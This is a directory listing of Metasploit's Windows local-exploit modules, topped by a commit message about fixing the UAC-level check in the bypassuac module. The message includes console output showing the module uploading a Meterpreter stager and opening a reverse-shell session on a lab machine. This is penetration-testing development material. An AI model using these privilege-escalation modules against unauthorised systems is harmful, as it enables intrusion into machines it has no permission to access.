metasploit-framework/modules/exploits/windows/local
trustedsec 0799766faa Fix UAC is not enabled, no reason to run module when UAC is enabled and vulnerable
The new changes when calling uac_level = open_key.query_value('ConsentPromptBehaviorAdmin') breaks UAC on Windows 7 and Windows 8 and shows that UAC is not enabled when it is:

Here is prior to the change on a fully patched Windows 8 machine:

msf exploit(bypassuac) > exploit

[*] Started reverse handler on 172.16.21.156:4444 
[*] UAC is Enabled, checking level...
[-] UAC is not enabled, no reason to run module
[-] Run exploit/windows/local/ask to elevate
msf exploit(bypassuac) > 

Here's the module when running with the most recent changes that are being proposed:

[*] Started reverse handler on 172.16.21.156:4444 
[*] UAC is Enabled, checking level...
[!] Could not determine UAC level - attempting anyways...
[*] Checking admin status...
[+] Part of Administrators group! Continuing...
[*] Uploading the bypass UAC executable to the filesystem...
[*] Meterpreter stager executable 73802 bytes long being uploaded..
[*] Uploaded the agent to the filesystem....
[*] Sending stage (770048 bytes) to 172.16.21.128
[*] Meterpreter session 6 opened (172.16.21.156:4444 -> 172.16.21.128:49394) at 2013-10-05 15:49:23 -0400

meterpreter > 

With the new changes and not having a return on when 0 (will not always return 0 - just in certain cases where you cannot query) - it works.
2013-10-05 15:56:55 -04:00
..
adobe_sandbox_adobecollabsync.rb Retab changes for PR #2304 2013-09-05 13:41:25 -05:00
agnitum_outpost_acs.rb Fix the modules added since the branch 2013-09-17 18:25:12 -05:00
always_install_elevated.rb Tidy and updates to info 2013-09-29 17:32:39 +01:00
ask.rb Retab changes for PR #2304 2013-09-05 13:41:25 -05:00
bypassuac.rb Fix UAC is not enabled, no reason to run module when UAC is enabled and vulnerable 2013-10-05 15:56:55 -04:00
current_user_psexec.rb Land #2304 fix post module require order 2013-09-23 16:52:23 -05:00
ikeext_service.rb Fix the modules added since the branch 2013-09-17 18:25:12 -05:00
ms10_092_schelevator.rb Retab changes for PR #2304 2013-09-05 13:41:25 -05:00
ms11_080_afdjoinleaf.rb Retab changes for PR #2304 2013-09-05 13:41:25 -05:00
ms13_005_hwnd_broadcast.rb Include the post requires until #2354 lands 2013-09-19 09:47:01 -05:00
novell_client_nicm.rb Remove unnecessary requires from post mods 2013-09-12 14:36:01 -05:00
novell_client_nwfs.rb Retab changes for PR #2304 2013-09-05 13:41:25 -05:00
payload_inject.rb Retab modules 2013-08-30 16:28:54 -05:00
persistence.rb Retab changes for PR #2304 2013-09-05 13:41:25 -05:00
ppr_flatten_rec.rb Remove unnecessary requires from post mods 2013-09-12 14:36:01 -05:00
s4u_persistence.rb Retab changes for PR #2304 2013-09-05 13:41:25 -05:00
service_permissions.rb Remove unnecessary requires from post mods 2013-09-12 14:36:01 -05:00
trusted_service_path.rb Retab changes for PR #2304 2013-09-05 13:41:25 -05:00